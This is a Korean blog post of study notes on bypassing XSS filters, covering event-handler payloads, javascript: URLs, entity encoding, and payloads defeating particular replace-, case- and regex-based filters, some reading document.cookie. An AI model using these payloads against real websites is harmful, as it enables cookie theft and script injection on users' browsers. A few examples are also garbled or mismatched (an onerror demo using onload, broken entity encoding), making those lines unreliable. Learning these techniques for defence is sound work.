본문 바로가기

XSS Filtering Bypass - 1 본문

개념 정리

XSS Filtering Bypass - 1

Seongjun_You 2022. 6. 4. 22:12

이벤트 핸들러란 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의

핸들러 함수입니다. 따라서 이벤트 핸들러 내에 XSS 공격 코드를 삽입해두면

해당 이벤트가 발생했을 때 우리의 XSS 공격 코드가 실행하게 됩니다.

 

자주 사용되는 이벤트 핸들러 속성으로 onload 와 onerror, onfocus가 있습니다.

<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
<!-- → 유효한 이미지 로드 후 onload 핸들러 실행 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onload 핸들러 실행하지 않음 -->

해당 태그가 요청하는 데이터를 로드한 후에 실행, 만약 로드에 실패했다면 실행되지 않습니다.

 

 

<img src="valid.jpg" onerror="alert(document.domain)">
<!-- → 유효한 이미지 로드 성공, onerror 핸들러 실행하지 않음 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onerror 핸들러 실행 -->

해당 태그가 요청하는 데이터를 로드하는데 실패할 시 실행, 만약 로드에 성공했다면 실행되지 않습니다.

 

<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!-- → autofocus 속성으로 인해 페이지가 로드되지마자 바로 input 태그에 포커스함, 포커스된 직후 onfocus 핸들러 실행 -->

input 태그에 커서를 클릭하여 포커스가 되면 실행되는 이벤트 핸들러입니다.

 

 

문자열 치환

XSS 키워드를 필터링할 때 의심되는 구문을 거부하는 대신에 단순히 치환 혹은

제거하는 방식의 필터링 관습이 있습니다.

이에 대한 우회법입니다.

 

예시

(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
<scrscriptipt>alert(1)</scrscriptipt>
<img src=about: onerronerroror=alert(1)>

 

활성 하이퍼링크

HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있습니다.

URL을 속성 값으로 받는 a태그나 iframe태그 등에 사용할 수 있습니다.

<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">

 

또한 HTML 태그의 속성 내에서는 HTML Entity Encoding을 사용할 수 있습니다.

<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">

이를 이용해 javascript: 스키마나 이 외의 XSS 키워드를 인코딩하여 필터링을

우회하는 경우도 존재합니다.

 

 

대/소문자 모두 검사하지 않는 방식

x => !x.includes('script') && !x.includes('on')

우회법

<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />

 

 

스크립트 태그 내 데이터 존재 여부 검사

x => !/<script[^>]*>[^<]/i.test(x)

우회법

<script src="data:,alert(document.cookie)"></script>

 

 

img태그의 on 이벤트 핸들러 검사

x => !/<img.*on/i.test(x

우회법 줄바꿈 이용

<img src=""\nonerror="alert(document.cookie)"/>

 

 

태그 검사

x => !/<script|<img|<input/i.test(x)

우회법

<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>

 

 

on 이벤트 핸들러 및 멀티 라인 문자 검사

x => !/<script|<img|<input|<.*on/is.test(x)

우회법

<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

 

'개념 정리' 카테고리의 다른 글

SSRF  (0) 2022.06.02
NoSQL Injection  (0) 2022.06.02
File Vulnerability  (0) 2022.05.31
CSRF  (0) 2022.05.30
XSS  (0) 2022.05.30
Comments